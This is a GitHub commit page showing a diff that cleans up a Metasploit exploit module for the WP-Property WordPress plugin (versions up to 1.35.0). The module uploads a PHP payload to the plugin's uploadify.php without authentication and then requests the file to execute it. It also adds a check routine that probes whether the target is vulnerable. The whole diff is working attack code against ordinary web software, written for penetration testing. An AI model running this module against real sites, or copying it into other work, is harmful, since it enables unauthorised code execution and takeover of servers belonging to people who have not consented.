Skip to content

Commit 0950240

Browse files
author
jvazquez-r7
committed
module cleanup by juan
1 parent 9020c96 commit 0950240

File tree

1 file changed

+50
-41
lines changed

1 file changed

+50
-41
lines changed

modules/exploits/unix/webapp/wp_property_upload_exec.rb

Lines changed: 50 additions & 41 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
require 'msf/core/exploit/php_exe'
33

44
class Metasploit3 < Msf::Exploit::Remote
5-
Rank = GreatRanking
5+
Rank = ExcellentRanking
66

77
include Msf::Exploit::Remote::HttpClient
88
include Msf::Exploit::PhpEXE
@@ -11,86 +11,95 @@ def initialize(info = {})
1111
super(update_info(info,
1212
'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
1313
'Description' => %q{
14-
This module exploits a vulnerability found in WP-Property <= 1.35.0
15-
WordPress plugin. By abusing the uploadify.php file, a malicious
16-
user can upload a file to a temp directory without authentication,
17-
which results in arbitrary code execution.
14+
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
15+
plugin. By abusing the uploadify.php file, a malicious user can upload a file to a
16+
temp directory without authentication, which results in arbitrary code execution.
1817
},
19-
'Author' => [
20-
'Sammy FORGIT', # initial discovery
21-
'James Fitts' # metasploit module
22-
],
18+
'Author' =>
19+
[
20+
'Sammy FORGIT', # initial discovery
21+
'James Fitts' # metasploit module
22+
],
2323
'License' => MSF_LICENSE,
24-
'Version' => '$Revision: $',
2524
'References' =>
2625
[
2726
[ 'OSVDB', '82656' ],
27+
[ 'BID', '53787' ],
28+
[ 'EDB', '18987'],
29+
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
2830
],
29-
'Payload' =>
31+
'Payload' =>
3032
{
3133
'BadChars' => "\x00",
3234
},
3335
'Platform' => 'php',
34-
'Arch' => ARCH_PHP,
36+
'Arch' => ARCH_PHP,
3537
'Targets' =>
3638
[
3739
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
38-
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
40+
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
3941
],
40-
'DefaultTarget' => 0,
42+
'DefaultTarget' => 0,
4143
'DisclosureDate' => 'Mar 26 2012'))
4244

4345
register_options(
4446
[
45-
OptString.new('TARGETURI', [true, 'The base path to WP-Property', '/wordpress/wp-content'])
47+
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
4648
], self.class)
4749
end
4850

51+
def check
52+
uri = target_uri.path
53+
uri << '/' if uri[-1,1] != '/'
54+
55+
res = send_request_cgi({
56+
'method' => 'GET',
57+
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
58+
})
59+
60+
if not res or res.code != 200
61+
return Exploit::CheckCode::Unknown
62+
end
63+
64+
return Exploit::CheckCode::Appears
65+
end
66+
4967
def exploit
5068
uri = target_uri.path
5169
uri << '/' if uri[-1,1] != '/'
5270

5371
peer = "#{rhost}:#{rport}"
54-
uid = rand_text_alphanumeric(34).to_s
5572

5673
@payload_name = "#{rand_text_alpha(5)}.php"
74+
php_payload = get_write_exec_payload(:unlink_self=>true)
75+
76+
data = Rex::MIME::Message.new
77+
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
78+
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
79+
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
5780

58-
post_data = "--#{uid}\r\n"
59-
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
60-
post_data << "Content-Type: application/octet-stream\r\n"
61-
post_data << "\r\n"
62-
post_data << payload.raw + "\r\n"
63-
post_data << "\r\n"
64-
post_data << "--#{uid}\r\n"
65-
post_data << "Content-Disposition: form-data; name=\"folder\"\r\n"
66-
post_data << "\r\n"
67-
post_data << "#{uri}plugins/wp-property/third-party/uploadify/\r\n"
68-
post_data << "--#{uid}--\r\n"
69-
70-
print_status("Uploading payload #{@payload_name} to #{peer}...")
81+
print_status("#{peer} - Uploading payload #{@payload_name}")
7182
res = send_request_cgi({
7283
'method' => 'POST',
73-
'uri' => "#{uri}plugins/wp-property/third-party/uploadify/uploadify.php",
74-
'ctype' => "multipart/form-data; boundary=#{uid}",
84+
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
85+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
7586
'data' => post_data
7687
})
7788

78-
if res
79-
print_status("#{peer} responds with status: #{res.code.to_s}")
80-
else
81-
print_error("#{peer} not responding to our requests...")
82-
return
89+
if not res or res.code != 200 or res.body !~ /#{@payload_name}/
90+
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
8391
end
8492

85-
print_status("Executing payload #{@payload_name} on the target...")
93+
upload_uri = res.body
94+
95+
print_status("#{peer} - Executing payload #{@payload_name}")
8696
res = send_request_raw({
87-
'uri' => "#{uri}plugins/wp-property/third-party/uploadify/#{@payload_name}",
97+
'uri' => upload_uri,
8898
'method' => 'GET'
8999
})
90100

91-
if res and res.code == 404
92-
print_error("Target responding with a 404... Upload probably failed...")
93-
return
101+
if not res or res.code != 200
102+
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution")
94103
end
95104
end
96105
end

0 commit comments

Comments
 (0)